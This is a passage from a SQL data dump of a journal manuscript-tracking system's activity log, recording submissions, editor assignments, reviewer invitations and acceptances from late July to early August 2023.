article',13861,'Publisher',274),(128992,'2023-07-18 11:44:29','Reviewer has submitted comments',13867,'Reviewer',20395),(128993,'2023-07-18 11:45:21','Editor has been Editor Decision Accepted article',13867,'Editor',1668),(128994,'2023-07-18 11:46:50','Publisher has been Accepted Articles  article',13867,'Publisher',274),(128995,'2023-07-18 15:25:29','Manuscript Submitted by Publisher',13932,'Publisher',84),(128996,'2023-07-18 15:27:06','Manuscript Submitted by Publisher',13933,'Publisher',84),(128997,'2023-07-18 15:29:01','Manuscript Submitted by Publisher',13934,'Publisher',84),(128998,'2023-07-18 17:17:11','Publisher has been Assigned Editor',13929,'Publisher',48),(128999,'2023-07-18 18:19:01','Manuscript Submitted by Publisher',13935,'Publisher',84),(129000,'2023-07-19 10:34:08','Manuscript Submitted by Publisher',13936,'Publisher',984),(129001,'2023-07-19 10:44:42','Manuscript Submitted by Publisher',13937,'Publisher',984),(129002,'2023-07-19 10:50:34','Manuscript Submitted by Publisher',13938,'Publisher',984),(129003,'2023-07-19 10:56:22','Manuscript Submitted by Publisher',13939,'Publisher',984),(129004,'2023-07-19 11:02:54','Manuscript Submitted by Publisher',13940,'Publisher',984),(129005,'2023-07-19 13:42:55','Manuscript Submitted by Publisher',13941,'Publisher',988),(129006,'2023-07-19 13:53:10','Publisher has been Assigned Editor',13918,'Publisher',984),(129007,'2023-07-19 13:53:31','Publisher has been Assigned Editor',13919,'Publisher',984),(129008,'2023-07-19 13:53:53','Publisher has been Assigned Editor',13940,'Publisher',984),(129009,'2023-07-19 13:54:21','Publisher has been Assigned Editor',13939,'Publisher',984),(129010,'2023-07-19 13:55:36','Publisher has been Assigned Editor',13938,'Publisher',984),(129011,'2023-07-19 13:56:54','Publisher has been Assigned Editor',13937,'Publisher',984),(129012,'2023-07-19 13:57:15','Publisher has been Assigned Editor',13936,'Publisher',984),(129013,'2023-07-19 13:59:03','Publisher has been Assigned Editor',13927,'Publisher',984),(129014,'2023-07-19 13:59:38','Publisher has been Assigned Editor',13926,'Publisher',984),(129015,'2023-07-19 14:37:36','Publisher has been Assigned Editor',13925,'Publisher',984),(129016,'2023-07-19 14:37:58','Publisher has been Assigned Editor',13924,'Publisher',984),(129017,'2023-07-19 14:38:17','Publisher has been Assigned Editor',13923,'Publisher',984),(129018,'2023-07-19 14:38:54','Publisher has been Assigned Editor',13922,'Publisher',984),(129019,'2023-07-19 14:39:18','Publisher has been Assigned Editor',13921,'Publisher',984),(129020,'2023-07-19 14:39:44','Publisher has been Assigned Editor',13920,'Publisher',984),(129021,'2023-07-19 14:42:23','Manuscript Submitted by Publisher',13942,'Publisher',988),(129022,'2023-07-19 14:49:52','Editor has Accepted to review Manuscript',13918,'Editor',1406),(129023,'2023-07-19 14:50:09','Editor has been Editor Decision Accepted article',13918,'Editor',1406),(129024,'2023-07-19 14:50:37','Editor has Accepted to review Manuscript',13921,'Editor',1406),(129025,'2023-07-19 14:50:54','Editor has been Editor Decision Accepted article',13921,'Editor',1406),(129026,'2023-07-19 14:51:05','Editor has Accepted to review Manuscript',13922,'Editor',1406),(129027,'2023-07-19 14:51:22','Editor has been Editor Decision Accepted article',13922,'Editor',1406),(129028,'2023-07-19 14:53:30','Editor has Accepted to review Manuscript',13925,'Editor',1406),(129029,'2023-07-19 14:54:15','Editor has been Editor Decision Accepted article',13925,'Editor',1406),(129030,'2023-07-19 14:54:43','Editor has Accepted to review Manuscript',13938,'Editor',1406),(129031,'2023-07-19 14:56:37','Editor has been Editor Decision Accepted article',13938,'Editor',1406),(129032,'2023-07-19 14:56:58','Editor has Accepted to review Manuscript',13940,'Editor',1406),(129033,'2023-07-19 14:57:14','Editor has been Editor Decision Accepted article',13940,'Editor',1406),(129034,'2023-07-19 15:08:17','Editor has Accepted to review Manuscript',13939,'Editor',1342),(129035,'2023-07-19 15:09:35','Editor has been Editor Decision Accepted article',13939,'Editor',1342),(129036,'2023-07-19 15:10:19','Editor has Accepted to review Manuscript',13927,'Editor',1342),(129037,'2023-07-19 15:10:55','Manuscript Submitted by Publisher',13943,'Publisher',988),(129038,'2023-07-19 15:13:26','Editor has been Editor Decision Accepted article',13927,'Editor',1342),(129039,'2023-07-19 15:15:50','Editor has Accepted to review Manuscript',13937,'Editor',1710),(129040,'2023-07-19 15:16:15','Editor has been Editor Decision Accepted article',13937,'Editor',1710),(129041,'2023-07-19 15:17:20','Editor has been Editor Decision Accepted article',13937,'Editor',1710),(129042,'2023-07-19 15:28:21','Publisher has been Assigned Editor',13935,'Publisher',84),(129043,'2023-07-19 15:28:39','Publisher has been Assigned Editor',13934,'Publisher',84),(129044,'2023-07-19 15:29:08','Publisher has been Assigned Editor',13933,'Publisher',84),(129045,'2023-07-19 15:29:17','Publisher has been Assigned Editor',13932,'Publisher',84),(129046,'2023-07-19 15:47:01','Manuscript Submitted by Publisher',13944,'Publisher',84),(129047,'2023-07-19 17:03:40','Manuscript Submitted by Publisher',13945,'Publisher',84),(129048,'2023-07-19 17:08:44','Manuscript Submitted by Publisher',13946,'Publisher',84),(129049,'2023-07-19 18:17:06','Manuscript Submitted by Publisher',13947,'Publisher',84),(129050,'2023-07-20 09:31:19','Publisher has been Assigned Editor',13931,'Publisher',248),(129051,'2023-07-20 09:31:35','Publisher has been Assigned Editor',13930,'Publisher',248),(129052,'2023-07-20 09:40:25','Manuscript Submitted by Publisher',13948,'',1050),(129053,'2023-07-20 10:48:27','Manuscript Submitted by Publisher',13949,'',1050),(129054,'2023-07-20 11:42:18','Manuscript Submitted by Publisher',13950,'Publisher',48),(129055,'2023-07-20 11:46:25','Manuscript Submitted by Publisher',13951,'Publisher',84),(129056,'2023-07-20 12:22:28','Manuscript Submitted by Publisher',13952,'Publisher',84),(129057,'2023-07-20 14:07:38','Editor has Accepted to review Manuscript',13936,'Editor',1782),(129058,'2023-07-20 14:08:05','Editor has been Editor Decision Accepted article',13936,'Editor',1782),(129059,'2023-07-20 14:08:47','Editor has Accepted to review Manuscript',13924,'Editor',1782),(129060,'2023-07-20 14:09:03','Editor has been Editor Decision Accepted article',13924,'Editor',1782),(129061,'2023-07-20 14:11:34','Editor has Accepted to review Manuscript',13926,'Editor',1654),(129062,'2023-07-20 14:11:48','Editor has been Editor Decision Accepted article',13926,'Editor',1654),(129063,'2023-07-20 14:11:56','Editor has Accepted to review Manuscript',13923,'Editor',1654),(129064,'2023-07-20 14:12:04','Editor has been Editor Decision Accepted article',13923,'Editor',1654),(129065,'2023-07-20 14:12:22','Editor has Accepted to review Manuscript',13920,'Editor',1654),(129066,'2023-07-20 14:12:31','Editor has been Editor Decision Accepted article',13920,'Editor',1654),(129067,'2023-07-20 14:14:29','Editor has Accepted to review Manuscript',13919,'Editor',1654),(129068,'2023-07-20 14:14:40','Editor has been Editor Decision Accepted article',13919,'Editor',1654),(129069,'2023-07-20 14:35:57','Manuscript Submitted by Publisher',13953,'Publisher',48),(129070,'2023-07-21 10:20:58','Publisher has been Assigned Editor',13947,'Publisher',84),(129071,'2023-07-21 10:21:51','Publisher has been Assigned Editor',13946,'Publisher',84),(129072,'2023-07-21 10:22:17','Publisher has been Assigned Editor',13945,'Publisher',84),(129073,'2023-07-21 10:22:31','Publisher has been Assigned Editor',13944,'Publisher',84),(129074,'2023-07-21 11:41:42','Manuscript Submitted by Author using Submission form',13955,'Author',14033),(129075,'2023-07-21 13:13:48','Publisher has been Assigned Editor',13950,'Publisher',48),(129076,'2023-07-21 13:14:10','Publisher has been Assigned Editor',13953,'Publisher',48),(129077,'2023-07-21 13:14:43','Publisher has Invited Reviewer',13929,'Publisher',48),(129078,'2023-07-21 13:14:47','Publisher has Invited Reviewer',13929,'Publisher',48),(129079,'2023-07-21 13:14:52','Publisher has Invited Reviewer',13929,'Publisher',48),(129080,'2023-07-21 13:15:49','Publisher has Invited Reviewer',13950,'Publisher',48),(129081,'2023-07-21 13:15:53','Publisher has Invited Reviewer',13950,'Publisher',48),(129082,'2023-07-21 13:16:32','Publisher has Invited Reviewer',13953,'Publisher',48),(129083,'2023-07-21 13:16:37','Publisher has Invited Reviewer',13953,'Publisher',48),(129084,'2023-07-21 13:35:47','Manuscript Submitted by Publisher',13956,'Publisher',988),(129085,'2023-07-21 13:46:38','Manuscript Submitted by Publisher',13957,'Publisher',988),(129086,'2023-07-21 14:08:13','Manuscript Submitted by Publisher',13958,'Publisher',988),(129087,'2023-07-21 14:22:59','Manuscript Submitted by Publisher',13959,'Publisher',988),(129088,'2023-07-21 14:25:01','Publisher has been Assigned Editor',13943,'Publisher',988),(129089,'2023-07-21 14:25:14','Publisher has been Assigned Editor',13942,'Publisher',988),(129090,'2023-07-21 14:25:27','Publisher has been Assigned Editor',13941,'Publisher',988),(129091,'2023-07-21 15:11:39','Manuscript Submitted by Publisher',13960,'Publisher',376),(129092,'2023-07-22 01:00:55','Manuscript Submitted by Author',13961,'Author',13043),(129093,'2023-07-22 09:31:15','Publisher has been Assigned Editor',13955,'Publisher',248),(129094,'2023-07-22 09:50:03','Manuscript Submitted by Author',13962,'Author',14040),(129095,'2023-07-22 10:41:05','Publisher has been Assigned Editor',13952,'Publisher',84),(129096,'2023-07-22 10:41:15','Publisher has been Assigned Editor',13951,'Publisher',84),(129097,'2023-07-22 11:02:25','Manuscript Submitted by Author using Submission form',13963,'Author',14041),(129098,'2023-07-22 11:02:38','Manuscript Submitted by Author using Submission form',13964,'Author',14042),(129099,'2023-07-22 11:06:15','Manuscript Submitted by Author using Submission form',13965,'Author',14043),(129100,'2023-07-22 12:07:44','Manuscript Submitted by Author using Submission form',13966,'Author',14044),(129101,'2023-07-22 21:01:04','Manuscript Submitted by Author using Submission form',13967,'Author',14045),(129102,'2023-07-24 09:39:38','Publisher has been Assigned Editor',13860,'Publisher',645),(129103,'2023-07-24 11:52:28','Manuscript Submitted by Author using Submission form',13968,'Author',14046),(129104,'2023-07-24 11:57:43','Manuscript Submitted by Author using Submission form',13969,'Author',14047),(129105,'2023-07-24 13:17:36','Publisher has been Assigned Editor',13961,'Publisher',85),(129106,'2023-07-24 13:18:14','Editor has Accepted to review Manuscript',13961,'Editor',1408),(129107,'2023-07-24 13:18:27','Editor has been Editor Decision Accepted article',13961,'Editor',1408),(129108,'2023-07-24 13:19:56','Publisher has Invited Reviewer',13961,'Publisher',85),(129109,'2023-07-24 13:23:05','Publisher has Invited Reviewer',13961,'Publisher',85),(129110,'2023-07-24 13:23:10','Publisher has Invited Reviewer',13961,'Publisher',85),(129111,'2023-07-24 13:23:14','Publisher has Invited Reviewer',13961,'Publisher',85),(129112,'2023-07-24 13:23:19','Publisher has Invited Reviewer',13961,'Publisher',85),(129113,'2023-07-24 13:23:23','Publisher has Invited Reviewer',13961,'Publisher',85),(129114,'2023-07-24 14:10:43','Manuscript Submitted by Author using Submission form',13970,'Author',14048),(129115,'2023-07-24 16:59:12','Publisher has been Assigned Editor',13960,'Publisher',376),(129116,'2023-07-24 17:21:19','Publisher has been Assigned Editor',13967,'Publisher',48),(129117,'2023-07-25 09:27:02','Publisher has been Assigned Editor',13966,'Publisher',248),(129118,'2023-07-25 09:27:16','Publisher has been Assigned Editor',13965,'Publisher',248),(129119,'2023-07-25 09:27:29','Publisher has been Assigned Editor',13963,'Publisher',248),(129120,'2023-07-25 09:27:44','Publisher has been Assigned Editor',13964,'Publisher',248),(129121,'2023-07-25 10:30:02','Publisher has been Assigned Editor',13962,'Publisher',75),(129122,'2023-07-25 11:03:23','Reviewer has submitted comments',13953,'Reviewer',10976),(129123,'2023-07-25 11:03:55','Editor has Accepted to review Manuscript',13953,'Editor',188),(129124,'2023-07-25 11:03:57','Editor has Accepted to review Manuscript',13953,'Editor',188),(129125,'2023-07-25 11:04:06','Editor has been Editor Decision Accepted article',13953,'Editor',188),(129126,'2023-07-25 11:05:46','Publisher: Accept Notification has been sent to Author',13953,'Publisher',48),(129127,'2023-07-25 11:06:27','Manuscript Updated',13953,'Publisher',48),(129128,'2023-07-25 11:06:44','Publisher has been Accepted Articles  article',13953,'Publisher',48),(129129,'2023-07-25 11:57:57','Publisher has been Accepted Articles  article',13777,'',1308),(129130,'2023-07-26 02:03:07','Manuscript Submitted by Author using Submission form',13971,'Author',14049),(129131,'2023-07-26 09:33:50','Publisher has been Assigned Editor',13948,'',1050),(129132,'2023-07-26 10:06:13','Publisher has been Assigned Editor',13970,'Publisher',248),(129133,'2023-07-26 10:06:28','Publisher has been Assigned Editor',13968,'Publisher',248),(129134,'2023-07-26 10:06:40','Publisher has been Assigned Editor',13969,'Publisher',248),(129135,'2023-07-26 10:33:16','Publisher has Invited Reviewer',13961,'Publisher',85),(129136,'2023-07-26 10:33:21','Publisher has Invited Reviewer',13961,'Publisher',85),(129137,'2023-07-26 10:33:26','Publisher has Invited Reviewer',13961,'Publisher',85),(129138,'2023-07-26 10:33:30','Publisher has Invited Reviewer',13961,'Publisher',85),(129139,'2023-07-26 10:33:35','Publisher has Invited Reviewer',13961,'Publisher',85),(129140,'2023-07-26 15:42:19','Manuscript Submitted by Publisher',13972,'Publisher',48),(129141,'2023-07-27 10:33:26','Publisher has Invited Reviewer',13961,'Publisher',85),(129142,'2023-07-27 10:33:30','Publisher has Invited Reviewer',13961,'Publisher',85),(129143,'2023-07-27 10:33:34','Publisher has Invited Reviewer',13961,'Publisher',85),(129144,'2023-07-27 10:33:39','Publisher has Invited Reviewer',13961,'Publisher',85),(129145,'2023-07-27 10:33:44','Publisher has Invited Reviewer',13961,'Publisher',85),(129146,'2023-07-27 11:28:56','Manuscript Submitted by Publisher',13973,'Publisher',972),(129147,'2023-07-27 11:38:11','Manuscript Submitted by Publisher',13974,'Publisher',972),(129148,'2023-07-27 11:50:30','Reviewer has submitted comments',13898,'Reviewer',10975),(129149,'2023-07-27 11:51:29','Editor has Accepted to review Manuscript',13898,'Editor',192),(129150,'2023-07-27 11:51:39','Editor has been Editor Decision Accepted article',13898,'Editor',192),(129151,'2023-07-27 11:52:29','Publisher: Accept Notification has been sent to Author',13898,'Publisher',48),(129152,'2023-07-27 11:52:52','Publisher has been Accepted Articles  article',13898,'Publisher',48),(129153,'2023-07-27 12:00:39','Manuscript Submitted by Publisher',13975,'Publisher',972),(129154,'2023-07-27 12:06:09','Manuscript Submitted by Publisher',13976,'Publisher',972),(129155,'2023-07-27 12:10:31','Manuscript Submitted by Publisher',13977,'Publisher',972),(129156,'2023-07-27 12:14:01','Manuscript Submitted by Publisher',13978,'Publisher',48),(129157,'2023-07-27 12:14:32','Manuscript Submitted by Publisher',13979,'Publisher',972),(129158,'2023-07-27 13:17:59','Manuscript Submitted by Publisher',13980,'Publisher',972),(129159,'2023-07-27 14:10:03','Editor has Accepted to review Manuscript',13929,'Editor',194),(129160,'2023-07-27 14:10:44','Editor has been Editor Decision Accepted article',13929,'Editor',194),(129161,'2023-07-27 14:11:57','Manuscript Updated',13929,'Publisher',48),(129162,'2023-07-27 14:12:15','Publisher has been Accepted Articles  article',13929,'Publisher',48),(129163,'2023-07-27 18:43:57','Publisher has been Accepted Articles  article',13951,'Publisher',84),(129164,'2023-07-27 18:44:16','Publisher has been Accepted Articles  article',13947,'Publisher',84),(129165,'2023-07-27 18:44:37','Publisher has been Accepted Articles  article',13946,'Publisher',84),(129166,'2023-07-27 18:44:59','Publisher has been Accepted Articles  article',13945,'Publisher',84),(129167,'2023-07-27 18:46:06','Publisher has been Accepted Articles  article',13944,'Publisher',84),(129168,'2023-07-27 18:46:23','Publisher has been Accepted Articles  article',13935,'Publisher',84),(129169,'2023-07-27 18:47:09','Publisher has been Accepted Articles  article',13934,'Publisher',84),(129170,'2023-07-27 18:47:30','Publisher has been Accepted Articles  article',13933,'Publisher',84),(129171,'2023-07-27 18:47:58','Publisher has been Accepted Articles  article',13932,'Publisher',84),(129172,'2023-07-28 10:12:41','Publisher has been Assigned Editor',13971,'Publisher',75),(129173,'2023-07-28 10:20:52','Publisher has Invited Reviewer',13961,'Publisher',85),(129174,'2023-07-28 10:20:56','Publisher has Invited Reviewer',13961,'Publisher',85),(129175,'2023-07-28 10:21:01','Publisher has Invited Reviewer',13961,'Publisher',85),(129176,'2023-07-28 10:21:05','Publisher has Invited Reviewer',13961,'Publisher',85),(129177,'2023-07-28 10:21:10','Publisher has Invited Reviewer',13961,'Publisher',85),(129178,'2023-07-28 10:22:15','Publisher has Invited Reviewer',13971,'Publisher',75),(129179,'2023-07-28 10:22:36','Publisher has Invited Reviewer',13971,'Publisher',75),(129180,'2023-07-28 11:24:18','Publisher has been Assigned Editor',13978,'Publisher',48),(129181,'2023-07-28 11:24:34','Publisher has been Assigned Editor',13972,'Publisher',48),(129182,'2023-07-28 12:05:33','Publisher has been Assigned Editor',13976,'Publisher',972),(129183,'2023-07-28 12:05:54','Publisher has been Assigned Editor',13974,'Publisher',972),(129184,'2023-07-28 12:06:12','Publisher has been Assigned Editor',13973,'Publisher',972),(129185,'2023-07-28 13:15:58','Manuscript Updated',13970,'Publisher',248),(129186,'2023-07-28 13:42:54','Manuscript Submitted by Publisher',13981,'Publisher',972),(129187,'2023-07-28 14:00:58','Publisher has been Assigned Editor',13980,'Publisher',972),(129188,'2023-07-28 14:01:32','Publisher has been Assigned Editor',13979,'Publisher',972),(129189,'2023-07-28 14:02:00','Publisher has been Assigned Editor',13977,'Publisher',972),(129190,'2023-07-28 14:02:37','Publisher has been Assigned Editor',13975,'Publisher',972),(129191,'2023-07-28 14:41:08','Publisher has Invited Reviewer',13971,'Publisher',75),(129192,'2023-07-28 14:42:36','Publisher has Invited Reviewer',13971,'Publisher',75),(129193,'2023-07-28 17:07:02','Manuscript Submitted by Publisher',13982,'Publisher',48),(129194,'2023-07-28 17:31:24','Publisher has been Assigned Editor',13981,'Publisher',972),(129195,'2023-07-28 17:35:08','Publisher has Invited Reviewer',13981,'Publisher',972),(129196,'2023-07-28 17:35:13','Publisher has Invited Reviewer',13981,'Publisher',972),(129197,'2023-07-28 17:35:17','Publisher has Invited Reviewer',13981,'Publisher',972),(129198,'2023-07-28 17:35:22','Publisher has Invited Reviewer',13981,'Publisher',972),(129199,'2023-07-28 17:35:37','Publisher has Invited Reviewer',13981,'Publisher',972),(129200,'2023-07-28 17:35:41','Publisher has Invited Reviewer',13981,'Publisher',972),(129201,'2023-07-28 17:35:46','Publisher has Invited Reviewer',13981,'Publisher',972),(129202,'2023-07-28 17:35:50','Publisher has Invited Reviewer',13981,'Publisher',972),(129203,'2023-07-28 17:35:56','Publisher has Invited Reviewer',13981,'Publisher',972),(129204,'2023-07-28 17:36:00','Publisher has Invited Reviewer',13981,'Publisher',972),(129205,'2023-07-28 17:36:05','Publisher has Invited Reviewer',13981,'Publisher',972),(129206,'2023-07-28 17:36:09','Publisher has Invited Reviewer',13981,'Publisher',972),(129207,'2023-07-28 17:36:14','Publisher has Invited Reviewer',13981,'Publisher',972),(129208,'2023-07-28 17:36:19','Publisher has Invited Reviewer',13981,'Publisher',972),(129209,'2023-07-28 17:36:23','Publisher has Invited Reviewer',13981,'Publisher',972),(129210,'2023-07-28 17:36:27','Publisher has Invited Reviewer',13981,'Publisher',972),(129211,'2023-07-28 17:36:32','Publisher has Invited Reviewer',13981,'Publisher',972),(129212,'2023-07-28 17:36:37','Publisher has Invited Reviewer',13981,'Publisher',972),(129213,'2023-07-28 17:36:41','Publisher has Invited Reviewer',13981,'Publisher',972),(129214,'2023-07-28 17:36:45','Publisher has Invited Reviewer',13981,'Publisher',972),(129215,'2023-07-28 17:37:22','Publisher has Invited Reviewer',13981,'Publisher',972),(129216,'2023-07-28 17:37:27','Publisher has Invited Reviewer',13981,'Publisher',972),(129217,'2023-07-28 17:37:31','Publisher has Invited Reviewer',13981,'Publisher',972),(129218,'2023-07-28 17:38:21','Publisher has Invited Reviewer',13981,'Publisher',972),(129219,'2023-07-28 17:38:33','Publisher has Invited Reviewer',13981,'Publisher',972),(129220,'2023-07-28 17:38:46','Publisher has Invited Reviewer',13981,'Publisher',972),(129221,'2023-07-28 17:38:51','Publisher has Invited Reviewer',13981,'Publisher',972),(129222,'2023-07-28 17:38:55','Publisher has Invited Reviewer',13981,'Publisher',972),(129223,'2023-07-28 17:39:08','Publisher has Invited Reviewer',13981,'Publisher',972),(129224,'2023-07-28 17:39:30','Publisher has Invited Reviewer',13981,'Publisher',972),(129225,'2023-07-28 17:39:34','Publisher has Invited Reviewer',13981,'Publisher',972),(129226,'2023-07-28 17:39:39','Publisher has Invited Reviewer',13981,'Publisher',972),(129227,'2023-07-28 17:39:58','Publisher has Invited Reviewer',13981,'Publisher',972),(129228,'2023-07-28 17:40:03','Publisher has Invited Reviewer',13981,'Publisher',972),(129229,'2023-07-28 17:40:08','Publisher has Invited Reviewer',13981,'Publisher',972),(129230,'2023-07-28 17:40:12','Publisher has Invited Reviewer',13981,'Publisher',972),(129231,'2023-07-28 17:40:17','Publisher has Invited Reviewer',13981,'Publisher',972),(129232,'2023-07-28 17:40:21','Publisher has Invited Reviewer',13981,'Publisher',972),(129233,'2023-07-28 17:40:36','Publisher has Invited Reviewer',13981,'Publisher',972),(129234,'2023-07-28 17:40:41','Publisher has Invited Reviewer',13981,'Publisher',972),(129235,'2023-07-28 17:40:46','Publisher has Invited Reviewer',13981,'Publisher',972),(129236,'2023-07-28 17:54:53','Publisher has been Accepted Articles  article',13809,'Publisher',84),(129237,'2023-07-29 09:56:06','Manuscript Submitted by Publisher',13983,'Publisher',673),(129238,'2023-07-29 10:03:41','Manuscript Submitted by Publisher',13984,'Publisher',673),(129239,'2023-07-29 10:41:57','Reviewer has submitted comments',13950,'Reviewer',5467),(129240,'2023-07-29 10:42:56','Editor has Accepted to review Manuscript',13950,'Editor',195),(129241,'2023-07-29 10:43:06','Editor has been Editor Decision Accepted article',13950,'Editor',195),(129242,'2023-07-29 10:44:01','Manuscript Updated',13950,'Publisher',48),(129243,'2023-07-29 10:44:14','Publisher has been Accepted Articles  article',13950,'Publisher',48),(129244,'2023-07-29 11:00:10','Manuscript Submitted by Publisher',13985,'Publisher',48),(129245,'2023-07-29 11:12:31','Manuscript Submitted by Publisher',13986,'Publisher',48),(129246,'2023-07-29 11:13:22','Publisher has Invited Reviewer',13967,'Publisher',48),(129247,'2023-07-29 11:13:27','Publisher has Invited Reviewer',13967,'Publisher',48),(129248,'2023-07-29 11:42:17','Editor has Accepted to review Manuscript',13972,'Editor',192),(129249,'2023-07-29 11:42:26','Editor has been Editor Decision Accepted article',13972,'Editor',192),(129250,'2023-07-29 11:43:10','Manuscript Updated',13972,'Publisher',48),(129251,'2023-07-29 11:43:27','Publisher has been Accepted Articles  article',13972,'Publisher',48),(129252,'2023-07-29 12:28:40','Editor has Accepted to review Manuscript',13980,'Editor',1367),(129253,'2023-07-29 12:28:45','Editor has Accepted to review Manuscript',13979,'Editor',1367),(129254,'2023-07-29 12:28:49','Editor has Accepted to review Manuscript',13977,'Editor',1367),(129255,'2023-07-29 12:28:54','Editor has Accepted to review Manuscript',13976,'Editor',1367),(129256,'2023-07-29 12:28:59','Editor has Accepted to review Manuscript',13975,'Editor',1367),(129257,'2023-07-29 12:29:15','Editor has Accepted to review Manuscript',13974,'Editor',1367),(129258,'2023-07-29 12:29:20','Editor has Accepted to review Manuscript',13973,'Editor',1367),(129259,'2023-07-29 12:34:31','Manuscript Updated',13973,'Publisher',972),(129260,'2023-07-29 12:35:01','Publisher has been Accepted Articles  article',13973,'Publisher',972),(129261,'2023-07-29 12:35:10','Manuscript Updated',13973,'Publisher',972),(129262,'2023-07-29 12:37:30','Publisher has been Accepted Articles  article',13974,'Publisher',972),(129263,'2023-07-29 12:37:39','Manuscript Updated',13975,'Publisher',972),(129264,'2023-07-29 12:37:57','Publisher has been Accepted Articles  article',13975,'Publisher',972),(129265,'2023-07-29 12:38:06','Manuscript Updated',13975,'Publisher',972),(129266,'2023-07-29 20:23:09','Editor has Accepted to review Manuscript',2932,'Editor',195),(129267,'2023-07-29 20:24:26','Editor has Invited Reviewer',2932,'Editor',195),(129268,'2023-07-29 20:24:31','Editor has Invited Reviewer',2932,'Editor',195),(129269,'2023-07-29 20:24:36','Editor has Invited Reviewer',2932,'Editor',195),(129270,'2023-07-29 20:24:40','Editor has Invited Reviewer',2932,'Editor',195),(129271,'2023-07-29 20:24:45','Editor has Invited Reviewer',2932,'Editor',195),(129272,'2023-07-29 20:24:50','Editor has Invited Reviewer',2932,'Editor',195),(129273,'2023-07-29 20:24:55','Editor has Invited Reviewer',2932,'Editor',195),(129274,'2023-07-29 20:27:05','Manuscript Submitted by Author using Submission form',13987,'Author',14064),(129275,'2023-07-31 08:46:31','Publisher has been Assigned Editor',13982,'Publisher',48),(129276,'2023-07-31 09:22:32','Manuscript Submitted by Publisher',13988,'',1212),(129277,'2023-07-31 10:35:34','Editor has Accepted to review Manuscript',13978,'Editor',192),(129278,'2023-07-31 10:37:18','Editor has Accepted to review Manuscript',13982,'Editor',192),(129279,'2023-07-31 10:37:27','Editor has been Editor Decision Accepted article',13982,'Editor',192),(129280,'2023-07-31 10:37:37','Editor has been Editor Decision Accepted article',13978,'Editor',192),(129281,'2023-07-31 10:38:24','Manuscript Updated',13978,'Publisher',48),(129282,'2023-07-31 10:38:37','Publisher has been Accepted Articles  article',13978,'Publisher',48),(129283,'2023-07-31 11:00:39','Manuscript Updated',13982,'Publisher',48),(129284,'2023-07-31 11:00:52','Publisher has been Accepted Articles  article',13982,'Publisher',48),(129285,'2023-07-31 11:01:01','Manuscript Updated',13982,'Publisher',48),(129286,'2023-07-31 11:34:44','Publisher has been Accepted Articles  article',13970,'Publisher',248),(129287,'2023-07-31 12:20:14','Manuscript Updated',13842,'Publisher',988),(129288,'2023-07-31 12:21:08','Publisher has been Accepted Articles  article',13842,'Publisher',988),(129289,'2023-07-31 12:21:23','Manuscript Updated',13842,'Publisher',988),(129290,'2023-07-31 14:02:06','Manuscript Updated',13976,'Publisher',972),(129291,'2023-07-31 14:02:34','Publisher has been Accepted Articles  article',13976,'Publisher',972),(129292,'2023-07-31 14:02:48','Manuscript Updated',13976,'Publisher',972),(129293,'2023-07-31 15:35:55','Publisher has Invited Reviewer',13961,'Publisher',85),(129294,'2023-07-31 15:36:00','Publisher has Invited Reviewer',13961,'Publisher',85),(129295,'2023-07-31 15:36:04','Publisher has Invited Reviewer',13961,'Publisher',85),(129296,'2023-07-31 15:36:09','Publisher has Invited Reviewer',13961,'Publisher',85),(129297,'2023-07-31 15:36:13','Publisher has Invited Reviewer',13961,'Publisher',85),(129298,'2023-07-31 16:32:42','Publisher has been Assigned Editor',13984,'Publisher',673),(129299,'2023-07-31 16:32:54','Publisher has been Assigned Editor',13983,'Publisher',673),(129300,'2023-07-31 17:05:47','Publisher has been Assigned Editor',13987,'Publisher',48),(129301,'2023-07-31 17:06:01','Publisher has been Assigned Editor',13986,'Publisher',48),(129302,'2023-07-31 17:06:14','Publisher has been Assigned Editor',13985,'Publisher',48),(129303,'2023-07-31 17:16:51','Publisher has Invited Reviewer',13983,'Publisher',673),(129304,'2023-07-31 17:16:55','Publisher has Invited Reviewer',13983,'Publisher',673),(129305,'2023-07-31 17:17:00','Publisher has Invited Reviewer',13983,'Publisher',673),(129306,'2023-07-31 17:17:04','Publisher has Invited Reviewer',13983,'Publisher',673),(129307,'2023-07-31 17:17:09','Publisher has Invited Reviewer',13983,'Publisher',673),(129308,'2023-07-31 17:17:13','Publisher has Invited Reviewer',13983,'Publisher',673),(129309,'2023-07-31 17:17:18','Publisher has Invited Reviewer',13983,'Publisher',673),(129310,'2023-07-31 17:17:22','Publisher has Invited Reviewer',13983,'Publisher',673),(129311,'2023-07-31 17:17:26','Publisher has Invited Reviewer',13983,'Publisher',673),(129312,'2023-07-31 17:17:31','Publisher has Invited Reviewer',13983,'Publisher',673),(129313,'2023-07-31 17:17:35','Publisher has Invited Reviewer',13983,'Publisher',673),(129314,'2023-07-31 17:17:40','Publisher has Invited Reviewer',13983,'Publisher',673),(129315,'2023-07-31 17:17:44','Publisher has Invited Reviewer',13983,'Publisher',673),(129316,'2023-07-31 17:17:49','Publisher has Invited Reviewer',13983,'Publisher',673),(129317,'2023-07-31 17:17:53','Publisher has Invited Reviewer',13983,'Publisher',673),(129318,'2023-07-31 17:17:57','Publisher has Invited Reviewer',13983,'Publisher',673),(129319,'2023-07-31 17:18:02','Publisher has Invited Reviewer',13983,'Publisher',673),(129320,'2023-07-31 17:18:06','Publisher has Invited Reviewer',13983,'Publisher',673),(129321,'2023-07-31 17:18:11','Publisher has Invited Reviewer',13983,'Publisher',673),(129322,'2023-07-31 17:18:15','Publisher has Invited Reviewer',13983,'Publisher',673),(129323,'2023-07-31 17:18:20','Publisher has Invited Reviewer',13983,'Publisher',673),(129324,'2023-07-31 17:18:24','Publisher has Invited Reviewer',13983,'Publisher',673),(129325,'2023-07-31 17:18:29','Publisher has Invited Reviewer',13983,'Publisher',673),(129326,'2023-07-31 17:23:25','Publisher has been Assigned Editor',13988,'',1212),(129327,'2023-08-01 09:34:31','Publisher has Invited Reviewer',13984,'Publisher',673),(129328,'2023-08-01 09:34:35','Publisher has Invited Reviewer',13984,'Publisher',673),(129329,'2023-08-01 09:34:40','Publisher has Invited Reviewer',13984,'Publisher',673),(129330,'2023-08-01 09:34:44','Publisher has Invited Reviewer',13984,'Publisher',673),(129331,'2023-08-01 09:34:48','Publisher has Invited Reviewer',13984,'Publisher',673),(129332,'2023-08-01 09:34:53','Publisher has Invited Reviewer',13984,'Publisher',673),(129333,'2023-08-01 09:34:57','Publisher has Invited Reviewer',13984,'Publisher',673),(129334,'2023-08-01 09:35:02','Publisher has Invited Reviewer',13984,'Publisher',673),(129335,'2023-08-01 09:35:07','Publisher has Invited Reviewer',13984,'Publisher',673),(129336,'2023-08-01 09:35:11','Publisher has Invited 